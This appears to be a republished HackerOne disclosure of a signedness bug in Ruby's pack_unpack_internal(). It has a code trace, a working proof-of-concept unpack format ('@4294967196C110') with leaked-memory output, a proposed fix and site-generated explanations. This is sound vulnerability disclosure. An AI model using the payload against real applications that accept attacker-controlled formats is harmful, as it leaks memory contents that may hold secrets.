controlled buffer under-read in pack_unpack_internal()
A signedness error in Ruby's pack_unpack_internal() allows a negative length value to move the string pointer backwards, causing a buffer under-read. An attacker who controls the unpack format can leak memory contents before the buffer.
Originally disclosed on HackerOne
- Triaged in 2 months
- Fixed in 3 months
- Paid in 3 months
- Disclosed after 3 months
Brief
There is a signedness error in the pack_unpack_internal(), allowing the '@' type to trigger a buffer under-read when unpacking with a controlled format (similar to format string implementation vulnerabilities).
Code Vulnerability
Vulnerable version: 2.5.0 (rc) and prior (tested also on 2.3.3) Scope: works on 32 bit and 64 bit versions File: pack.c Function: pack_unpack_internal() Code Trace:
-
len is a signed long:
Ruby long len; -
len can be parsed using a decimal string representation, to hold any unsigned long value
Ruby ... else if (ISDIGIT(*p)) { errno = 0; len = STRTOUL(p, (char**)&p, 10); if (errno) { rb_raise(rb_eRangeError, "pack length too big"); } } ... -
Using a negative len value, the '@' type will move the string backwards:
Ruby ... case '@': // EI - Trace: negative length will pass this check if (len > RSTRING_LEN(str)) rb_raise(rb_eArgError, "@ outside of string"); // EI - Trace: negative length will move s backwards s = RSTRING_PTR(str) + len; break; ... -
Later unpacking will parse memory data before the buffer's start
PoC Script
The script was tested on 32 bit. On 64 bit one should only adjust the numerical values accordingly (64 bit was tested on 2.3.3 and worked).
puts 'Version: ' + RUBY_VERSION
puts 2 ** 32 - 100
puts '**********************************'
puts 'Expected:'
"0123456789".unpack("C10").each { |x| puts x.to_s(16) }
puts '**********************************'
puts 'Leaked + Expected:'
"0123456789".unpack("@4294967196C110").each { |x| puts x.to_s(16) }
puts '**********************************'
Output:
Version: 2.5.0
4294967196
**********************************
Expected:
30
31
32
33
34
35
36
37
38
39
**********************************
Leaked + Expected:
28
13
e2
1
c1
24
0
0
40
43
df
1
65
48
92
20
3c
7e
df
1
72
65
6d
61
69
6e
64
65
72
0
0
0
7a
60
1
0
30
1
f5
1
50
c5
ef
1
7f
a3
0
0
30
1
f5
1
7a
60
5
0
40
43
df
1
8
13
e2
1
b1
24
0
0
40
43
df
1
65
88
91
20
3c
7e
df
1
6d
6f
64
75
6c
6f
0
0
0
0
0
0
5
80
52
0
3c
7e
df
1
30
31
32
33
34
35
36
37
38
39
**********************************
Proposed Fix:
len should be limited to hold only positive values, and it should be enforced right after len is parsed. A different fix could be to specifically check if len is negative in all dangerous places in the unpack() function.
Impact
Impact
An attacker controlling the unpacking format (similar to format string vulnerabilities) can trigger a massive and controlled information disclosure. Since Ruby is a managed language, programmers assume that the library would catch such dangerous code samples and protect them from these types of attacks.
This vulnerability is similar to the implementation vulnerability that was found earlier this year (2017) in the format string (sprintf) module, and in both cases programmers that use an attacker controlled format can be harmed due to an implementation bug in the ruby module.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a signedness error: len is declared as a signed long but parsed with STRTOUL, allowing negative values that bypass the check and move the pointer backwards.
Impact
An attacker controlling the unpack format can trigger a massive and controlled information disclosure, leaking memory contents.
What the attacker needed
Attacker controls the unpack format string
The fix
The length should be limited to positive values right after parsing, or negative lengths should be checked in all dangerous places in unpack().
How it was found
- Call unpack with a format containing '@' followed by a large decimal number that wraps to a negative value.
- The '@' directive moves the string pointer backwards by that negative length.
- Subsequent unpack directives read memory before the buffer, leaking data.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Ruby's unpack method reads data from a string according to a format you give it. A bug lets a specially crafted format make the code read memory before the start of the string, which can expose secret data. This only matters if an attacker can control the format string.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.